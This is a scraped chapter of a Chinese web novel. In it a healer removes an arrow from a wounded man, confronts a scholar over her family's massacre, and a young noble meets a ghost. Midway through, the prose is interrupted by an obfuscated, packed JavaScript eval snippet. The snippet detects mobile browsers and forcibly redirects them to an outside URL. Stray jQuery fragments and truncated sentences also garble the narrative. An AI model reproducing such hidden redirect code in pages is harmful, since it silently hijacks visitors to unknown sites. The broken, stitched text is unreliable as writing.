22. 玉玲珑(六)

作品:《明珠在怀

    偌大的观音像下头,摊着张破烂草席子,浑身乱糟糟的女子,专注地在为躺着的人拔箭。她正取着一把烧红的剪刀,一双眼睛紧紧盯着箭头没入皮肤处,用剪刀一点,一点清除粘连的衣服,和翻起的血肉。


    扶影焦急道,“沈——”


    陆清执拦住扶影叫喊,微微摇头。


    从他们踏进观音庙起,沈怀珠就听到了动静。然而她始终没抬头看一眼,凝神在棘手的伤口里。


    箭头位置特殊,稍有不慎,拔箭的动作会成为送陆三见阎王的催命符。给人治伤医病日久,比这更凶险可怕的也不是没有,独这次,沈怀珠心里没底,心底事揉成线团,乱乱缠在一处。


    腐肉清除,衣裳剪尽,箭头全然露出,落在在场人的眼里。


    血已被止住,干涸在断箭周围。好似扎根的小树,牢牢拔着周遭泥土,想要拔出来,是极为艰难的。


    室内静得落针可闻,在场人屏声静气,生怕扰了预备拔箭的女子。


    沈怀珠稳定心神,双手握紧箭杆,在心底默念:快,准,恨!最后一字刚过心头,她手上便使了力气,生生从血肉里将箭一把拽出!


    血洞汩汩,随着箭身脱身而出的瞬间,滋出的血喷在怀珠脸上。她顾不得擦拭,转身接过阿云递来的通红烙铁,眼都不眨,按在血洞处!


    “滋——”传来一声响,扶影当场便要冲过去,却生生被陆清执拦住。


    只见怀珠取下烙铁,血洞凝合。又细心地涂过药粉,给他掩住衣裳,盖好棉被,才轻轻走上前来,视线落在扶影身旁的老头手上,“不知裴少卿前来,所谓何事?”


    拎的药箱,她是明知故问。


    望着女子清晰的面容,陆清执袖中手指微蜷,竭力令嗓音维系正常,“听闻陆公子身受重伤,性命攸关,我便请了董太医前来相助。”


    杏眼樱桃唇,素颜绿裙,同初次见面形容相差无几。然而,搜寻记忆里娇小玲珑的身影,再看今人,却是眉眼相似,神色径庭。


    沈怀珠敏锐捕捉到对方神色的细微变化,“裴少卿果真爱民如子,菩萨心肠,数面之缘的平头百姓,也甘愿请太医来瞧。”


    接连几次相见,她对这位大理寺少卿实在没多少好感,但他次次在要紧关头出现,不免太过巧合。偏偏是撞见他之后,陆三出现,偏偏每次撞见他,陆三都在场。她余光瞥过仍昏迷未醒的人,又转头打量着,衣冠都不曾细整的“裴容青”,心头腾起个惊人的想法。


    陆清执勉强勾唇,“沈姑娘多心,虽几面之缘,然陆公子正气凛然,本官欣赏的紧,所以才以挚友相待。”顿了顿,他越过女子目光落在面色苍白的人身上,“不知陆公子情形如何?”


    扶影不放心,提议道:“公子,不若让董太医前去瞧瞧?”


    陆清执还未点头,就听得女子冷笑一声,“请。”


    扶影使个眼色,董太医忙拎着药箱,匆忙几步走到功德箱拼成的塌边,仔细观诊把脉。不消片刻,他锁紧的眉头舒展不少,过来回话:“裴少卿,陆公子脉象平稳许多,若明日此刻前能醒过来,便是无虞。”


    扶影登时松了口气,沈怀珠


    浩浩荡荡人来,轰轰烈烈人往,破旧小庙总算重回安静。


    沈怀珠叮嘱阿云,好好地守着陆三,她需要出去一趟。阿云打量着她沾了血的衣裳,“阿姐,你要去哪里?不换身衣裳吗?”


    “他的状态暂时平稳,但还需要服药才能恢复的更快,我去药铺买些咱们没有的药材。”说罢,沈怀珠匆匆出门。


    春闱将近,雁塔客栈的住客骤增。不过几日没来,沈怀珠就发现多了许多陌生面孔,人手捧着几卷书册,摇头晃脑地背诵。穿过苦读备考的学子们,沈怀珠直奔二楼尽头的房间,敲响房门。


    “嘎吱——”门很快打开,露出周行白疑惑的面容。


    沈怀珠道:“周先生博古通今,我有不解难题想来请教,不知先生可能为我解惑一二?”


    周行白犹豫片刻,往后退了一步,“请。”


    沈怀珠踏进房门,待周行白关好门跟来,开门见山地问道,“周先生可还认得我?”


    周行白蹙眉,“沈姑娘,你若没事的话,还请莫要耽误我的功夫。”


    “当然有事。”沈怀珠定定地盯着他,“建平十二年到底发生了何事?宋世文因何而死?你又因何而侥幸留命?”


    听到这话,周行白不耐地神情顿时凝住,“不知道你在说什么。”


    沈怀珠步步逼近,“你和宋世文师出同门,为何他死了,你活着?”


    “……你再过来,我报官了。”周行白语气不善道。


    沈怀珠冷笑道,“报,尽管去报。我倒想知道,究竟是哪位胆大包天的官老爷,敢公然抗旨,保住你的性命,而他又是为什么甘愿冒着杀头的危险保你?”


    “建平十二年的上元,远在凤城的沈知县收到一封来自鄞州的求救信,虽没有署名,却是他座下的学生宋世文的笔迹。而收到那封信的当夜,沈家灭门。”


    “那封信究竟藏着什么秘密?”


    周行白:“宋世文写的求救信,你自是该去问他,我怎能知道?”


    见他仍然嘴硬,沈怀珠嘲讽地勾唇,“执笔写信的究竟是宋世文,还是另有其人,周先生你不是最清楚么?”


    周行白拂袖,“沈姑娘,你跑来这儿就为了说些神神叨叨的话?我还有事要忙,好走不送。”


    “当年写信给老师求救的人是你。”沈怀珠拆穿道,“你明知道那封信会害死你的老师,乃至他全家,可你为自保,模仿宋世文的笔迹寄出。”


    深呼吸一口气,压下哽咽,“是也不是?”


    扶越瞳孔微震,他到底不是真正的周行白。面对沈怀珠激烈的质问,他不能答,也答不出。早先冒充周行白的身份,是为了更好地接近孙玉德等人,潜伏在他们身边查青州旧案。为装的更逼真,他假托失去过往记忆,在孙玉德等人面前专心地做贪财慕权的工具,又听话又好用,逐渐取得信任。</


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15347421|167411||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>


    关于沈怀珠口中的事,他实在不甚了解。凤城沈家灭门的事他的确有所耳闻,然而个中曲折他却不知,骤然听到这些话,脑子一时转不过来。


    “你究竟是什么人?”


    “当年你和宋世文同去沈家拜见老师时,还曾唤过我一声师妹。”


    师妹。


    大脑飞速转动,能让周行白称得上一句师妹的,除了沈自秋之女,再没别人。扶越退后半步,震惊地道,“你是老师的女儿?沈雨?”


    沈怀珠扯了扯嘴角,“是我。”


    .


    深夜,万籁俱静。


    热闹了半夜的晚市渐渐消散,唯有香云楼灯火通明,笙歌依旧。苏子城左拥右抱,躺倒在旖旎温柔乡,闭眼享受靡靡之音。


    突然,小厮匆匆走过来,低声道,“公子不好了,老爷要抽查您近日背书的情况,正往书房去呢。”


    苏子城猛地睁眼,“你说什么?!”


    小厮的头埋得更低了,“马车已经在后门备好,公子随时可以出门。”


    想到老头子那张要吃人的怒脸,苏子城就不寒而栗。背不出书便罢,若老头子发现他没在家,又溜到香云楼来取乐,怕是当场就能把他的皮给剥了。也不知道爹究竟怎么了?早些年明明宽容的很,任他怎么寻乐子都不管,这两年却性情大变,非要逼着他参加什么科考。


    原本去年他就该登科及第,偏偏那个儒生迂腐,死活不肯答应那事。轰轰烈烈闹了一场事,死了个干净,倒是让他又煎熬折磨一年。眼瞧着春闱又要到,他那个爹吸取教训,开始让他用背题的笨法子。


    想到那几句酸腐的话,他的头都要大了。


    三更的梆子敲过,静悄悄的街巷只听得到马车前行的轱辘声。苏子城跑的紧急,连鞋也没来得及穿,一心想的是千万别让老头子抢了先。他靠在马车厢壁,一面昏昏欲睡,一面忐忑。


    不知过了多久,他从睡梦里醒来,发现马车停住不动。他打了个哈欠,懒懒地问道,“到了?”


    无人应答。


    苏子城不悦地掀起车帘,才要朝车夫的方向踹过去,却扑了个空。他定睛一看,哪里还有车夫的身影,不单如此,他现在身处的也并非苏宅门口,而是空无一人的街市。


    “人呢?”他大吼一声。


    寂静无声,甚至没有回音。


    “敢耍小爷,当真是活腻了。”嘴里骂骂咧咧跳下马车,才站直身子,看清眼前的景象,苏子城头皮发麻,一股寒意从脊背正中冲向天灵盖。


    他下意识地想跑,双腿却像灌满了铅,怎么也挪不动。眼睁睁地看着浑身是血,手脚戴着镣铐的白衣男子蓬头垢面地朝他步步逼近。


    害怕地吞咽了口水,“你,你是人是鬼?我警告你,千万别过来啊。”


    白衣男子恍若未闻,仿佛无知无觉,走到距他四五米远的位置,凄声道,“老天有眼,绝不会叫你这等草包高中,绝不会。”


    苏子城瞳孔骤缩,“宋世文?!”